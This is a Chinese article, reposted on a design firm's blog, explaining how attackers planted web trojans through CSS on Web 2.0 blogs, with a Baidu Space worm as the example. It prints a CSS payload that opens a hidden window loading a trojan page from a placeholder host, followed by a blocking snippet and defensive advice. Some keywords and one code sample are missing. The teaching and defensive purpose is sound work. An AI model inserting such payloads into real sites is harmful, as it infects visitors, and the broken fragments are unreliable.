黑客選擇CSS掛馬 CSS掛馬攻防實錄 

 

 

http://www.inspirr.com 
 

 


 

 

 

黑客們發現發現,用來制作網頁特效的CSS代碼,也可以用來掛馬。

隨著Web2.0的普及,各種網頁特效用得越來越多,這也給黑客一個可乘之機。他們發現,用來制作網頁特效的CSS代碼,也可以用來掛馬。而比較諷刺的是,CSS掛馬方式其實是從防范E掛馬的CSS代碼演變而來。

安天實驗室阿楠:安全工程師,從事病毒分析多年。

網站掛馬的手段最初非常單一,但是隨著Web2.0技術以及Blog、Wiki等廣泛的應用,掛馬也涌現出各種各樣的技術,其中CSS掛馬方式,可以說是Web2.0時代黑客的最愛。有許多非常著名的網站都被黑客用CSS掛馬入侵過。

在我印象中,記憶最深刻的一次是百度空間CSS掛馬。當時,百度空間推出沒有多久,就有許多百度用戶收到了類似“哈,節日快樂呀!熱烈慶祝2008,心情好好,記住要想我!http://hi.baidu.com/XXXXX”的站內消息。

由于網址是百度空間的網址,許多用戶認為不會存在安全問題,加上又有可能是自己朋友發來的,因此會毫不猶豫地點擊進入。但是進入指定的網址后,用戶就會感染蠕蟲病毒,并繼續傳播。

由于蠕蟲擴散非常嚴重,最終導致百度空間不得不發布官方聲明提醒用戶,并且大費周折地在服務器中清除蠕蟲的惡意代碼。那一次的掛馬事件利用的就是百度空間CSS模板功能,通過變形的expression在CSS代碼中動態執行腳本,讓指定的遠程惡意代碼文件在后臺悄悄運行并發送大量偽造信息。

我建議大家在點擊陌生鏈接時,要多個心眼,大網站也是可能被掛馬的。大家在上網時,最好還是使用一些帶網頁木馬攔截功能的安全輔助工具。

黑客為什么選擇CSS掛馬?

在Web1.0時代,使用E掛馬對于黑客而言,與其說是為了更好地實現木馬的隱藏,倒不如說是無可奈何的一個選擇。在簡單的HTML網頁和缺乏交互性的網站中,黑客可以利用的手段也非常有限,即使采取了復雜的偽裝,也很容易被識破,還不如E來得直接和有效。

但如今交互式的Web2.0網站越來越多,允許用戶設置與修改的博客、SNS社區等紛紛出現。這些互動性非常強的社區和博客中,往往會提供豐富的功能,并且會允許用戶使用CSS層疊樣式表來對網站的網頁進行自由的修改,這促使了CSS掛馬流行。

小百科:

CSS是層疊樣式表(CascadingStyleSheets)的英文縮寫。CSS最主要的目的是將文件的結構(用HTML或其他相關語言寫的)與文件的顯示分隔開來。這個分隔可以讓文件的可讀性得到加強、文件的結構更加靈活。

黑客在利用CSS掛馬時,往往是借著網民對某些大網站的信任,將CSS惡意代碼掛到博客或者其他支持CSS的網頁中,當網民在訪問該網頁時惡意代碼就會執行。這就如同你去一家知名且證照齊全的大醫院看病,你非常信任醫院,但是你所看的門診卻已經被庸醫外包了下來,并且打著醫院的名義利用你的信任成功欺騙了你。但是當你事后去找人算賬時,醫院此時也往往一臉無辜。對于安全工程師而言,CSS掛馬的排查是必備常識。

CSS掛馬攻防實錄

攻CSS掛馬方式較多,但主流的方式是通過有漏洞的博客或者SNS社交網站系統,將惡意的CSS代碼寫入支持CSS功能的個性化頁面中。下面我們以典型的CSS掛馬方式為例進行講解。

方式1:

Body

“background-image”在CSS中的主要功能是用來定義頁面的背景圖片。這是最典型的CSS掛馬方式,這段惡意代碼主要是通過“background-image”配合t代碼讓網頁木馬悄悄地在用戶的電腦中運行。

那如何將這段CSS惡意代碼掛到正常的網頁中去呢?黑客可以將生成好的網頁木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網站的網頁中,或者掛馬網頁所調用的CSS文件中。

小百科:

使用Body對象元素,主要是為了讓對象不再改變整個網頁文檔的內容,通過Body對象的控制,可以將內容或者效果控制在指定的大小內,如同使用DIV對象那樣精確地設置大小。

方式2:

Body

background-image:url(t:open(”http://www.X.com/muma.htm”,”newwindow”,”border=”1″Height=0,Width=0,top=1000,center=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no”))

方式1的CSS掛馬技術,在運行時會出現空白的頁面,影響網頁訪問者正常的訪問,因此比較容易發現。不過在方式2中的這段代碼,使用了t的Open開窗,通過新開一個隱藏的窗口,在后臺悄悄地運行新窗口并激活訪問網頁溢出木馬頁面,不會影響訪問者觀看網頁內容,因此更加隱蔽。

防網絡服務器被掛馬,通常會出現防病毒軟件告警之類的信息。由于漏洞不斷更新,掛馬種類時刻都在變換,通過客戶端的反映來發現服務器是否被掛馬往往疏漏較大。正確的做法是經常檢查服務器日志,發現異常信息,經常檢查網站代碼,使用網頁木馬檢測系統,進行排查。

目前除了使用以前的阻斷彈出窗口防范CSS掛馬之外,還可以在網頁中設置CSS過濾,將CSS過濾掉。不過如果你選擇過濾CSS的話,首先需要留意自己的相關網頁是否有CSS的內容,因此我們仍然首推用阻斷方式來防范CSS.阻斷代碼如下所示:

emiao1:expression(this.src=”about:blank”,this.outerHTML=”");

將外域的木馬代碼的src重寫成本地IE404錯誤頁面的地址,這樣,外域的t代碼不會被下載。不過阻斷方式也有天生致命的弱點,弱點的秘密我們將于下次揭曉。

 

   

 

  Tag: 設計公司 網頁設計公司 廣告公司 網站設計 平面設計 互動媒體 網頁設計 Web design Website design design house 媒體公司 Iphone app 程式設計 Flash 網頁 Flash game 動畫設計 後期製作 網上商店 網上宣傳 網頁服務

文章標籤
全站熱搜
創作者介紹
創作者 inspirr 的頭像
inspirr

inspirr

inspirr 發表在 痞客邦 留言(0) 人氣(2)